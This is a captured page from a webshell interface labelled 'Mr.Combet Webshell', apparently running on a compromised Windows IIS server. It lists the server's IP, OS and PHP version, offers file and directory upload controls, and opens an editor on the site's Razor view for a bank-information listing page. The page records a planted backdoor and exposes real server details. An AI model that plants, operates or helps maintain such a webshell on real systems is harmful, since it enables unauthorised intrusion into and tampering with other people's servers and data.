Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa_bak
/
mapqa
/
Views
/
Bank
/
Edit File Name :
Index.cshtml
@{ ViewBag.Title = " Bank Lists"; } @using RER_Project.Core.Helpers @using RER_Project.BusinessLayer.BusinessService; @{ ViewBag.Title = "BankInfoIndex"; Layout = "~/Views/Shared/_Layout.cshtml"; int page = 1; var name = ""; int fyId = 0; int provinceId = 0; int districtId = 0; int municipalityId = 0; if (Request.QueryString["page"] != null) { page = Convert.ToInt32(Request.QueryString["page"].ToString()); } if (Request.QueryString["name"] != null) { name = Request.QueryString["name"].ToString(); } } @using RER_Project.Core.Helpers @using RER_Project.BusinessLayer.BusinessService; @{ var meta = AppUserService.GetCurrent(); } <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-12"> <ol class="breadcrumb"> <li class="active"> <strong>Bank Information</strong> </li> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainSupervisor) { <a href="/banks/create" class="btn btn-primary pull-right">Create</a> } <a href="#" class="btn" title="Bank Reports"> <img src="~/Images/ExternalIcon/excel.png" style="height:32px;width:32px;padding-bottom:5px" /></a> </ol> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <div class="row"> @* <div class="form-group col-md-3"> <label><strong>Fiscal Year</strong></label> <select type="text" class="form-control required clear" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year/select" data-api-selected-value="@fyId"></select> </div>*@ <div class="form-group col-md-3"> <label><strong>Name of Bank</strong></label> <select type="text" class="form-control required clear" id="name" name="BankName" data-api="/banks/select"></select> </div> <div class="form-group col-md-3"> <label><strong>Address</strong></label> <input type="text" class="form-control required clear" id="Address" name="Address" /> </div> <div class="form-group col-md-offset-10"> <button type="button" id="filter" name="filter" class="btn btn-primary center-orientation">Search <i class="fa fa-search" aria-hidden="true"></i></button> <button type="button" id="clear" name="clear" class="btn btn-primary center-orientation">Reset <i class="fa fa-refresh" aria-hidden="true"></i></button> </div> </div> <hr /> <div id="loadPartialView"></div> </div> </div> </div> </div> </div> <script> var isFilter = false; $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeLocation(); setTimeout(function() { getBankList(); }, 1000); }); $('#filter').off("click").on("click", function () { isFilter = true; WorkForce.loader.show(); getBankList(); }); $('#clear').off("click").on("click", function () { isFilter = true; $('#name').val(""), $('#Address').val("") /* $('#ProvinceId').val(""), $('#DistrictId').val(""), $('#MunicipalityId').val("")*/ getBankList(); }); function getSearchModel() { var WorkPlanFilterVM = { fyId: $('#FiscalYearId').val(), BankName: $('#name').val(), Address: $('#Address').val(), /* districtId: $('#DistrictId').val(), municipalityId: $('#MunicipalityId').val(),*/ page:@page }; if (isFilter) { WorkPlanFilterVM.page = 1; } var model = JSON.stringify(WorkPlanFilterVM); debugger return model; } function getBankList() { WorkForce.loader.show(); $('#loadPartialView').load("/bankinfo/list", JSON.parse(getSearchModel()), function (response, status, xhr) { if (status == "error") { var msg = "Sorry but there was an error: "; ShowMessage("error", "error", msg + xhr.status + " " + xhr.statusText); }; WorkForce.loader.hide(); }); } function deleteBankInfoId(id) { if (!window.confirmAction()) { return false; } const ajx = window.getAjaxRequest("/bankinfo/delete/" + id, "GET", ""); ajx.done(function (response) { ShowMessage("success", "Deleted Successfully"); window.location = "/banks"; }); ajx.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function exportExcel() { window.location.href = `/report/group/export?provinceId=0&districtId=0&typeId=2`; } function deleteItem(id) { if (!window.confirmAction()) { return false; } const ajx = window.getAjaxRequest("/banks/delete/" + id, "GET", ""); ajx.done(function (response) { ShowMessage("success", "Deleted Successfully"); window.location = "/banks"; }); ajx.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } </script>
Save